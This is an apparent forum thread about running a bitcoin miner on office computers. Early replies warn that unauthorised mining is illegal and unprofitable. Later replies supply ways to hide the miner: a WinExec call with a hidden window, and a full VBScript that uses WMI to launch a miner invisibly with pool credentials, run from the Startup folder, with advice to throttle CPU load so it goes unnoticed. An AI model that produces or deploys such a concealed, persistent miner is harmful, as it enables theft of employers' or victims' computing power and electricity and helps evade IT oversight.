I would advice against that. If I were your boss and found out about it, and unless the IT-staff is incompetent s/he will, I'd fire you. Perhaps even persecute you, depending on my mood for the day.
Get permission first, then install it. If you can't get permission, forget about it.

And unless for some reason everyone has a GPU don't forget CPU mining would give you inconsequential results. If you're prepared to do something immoral and illegal you'll be financially better off just stealing their stuff, selling it and use the funds to buy bitcoins or trading for whatever else you were going to use the coins for. If they do have lots of GPUs maybe you can approach someone about it and come to a mutually beneficial deal, like you pay some fixed amount for using the resources so they make a $ profit and you make a BTC profit.

In that case I haven't tried it but maybe the screen saver route may be OK like mentioned in this thread:

http://bitcointalk.org/index.php?topic=3030.0

Probably not exactly what you're after but at least it won't interfere with normal operation during the day. Depending on your work environment it may be better to aggressively mine for shorter periods when the PCs are not in use at all, versus trying to throttle for the whole day.

ZOMG Moo!

If you have permission, try this when starting the miner.
WinExec("your command", SW_HIDE);

You can run processes with lower priority in the background, so it won't interfere at all with work.

The Watts/MHash/s ratio of CPUs however is that bad, that currently you cannot even pay for the electricity used (depending on the rate of course, but well... 3 MHashes/s give ~3 Bitcents/day (if computers run during the night) currently) with the BTC generated. Did you tell this your boss too?

Code:
Const HIDDEN_WINDOW = 12
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
 
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("C:\[path to your miner]\bitcoin-miner.exe -a 5 -o http://[pool address]:8332 -u evil_motherfucker@hell.com -p supersecretpassword", null, objConfig, intProcessID)

It's a vbs script for ufasoft miner. Put it in start up folder. You may also want to limit processor load. There was a script floating around for that too.
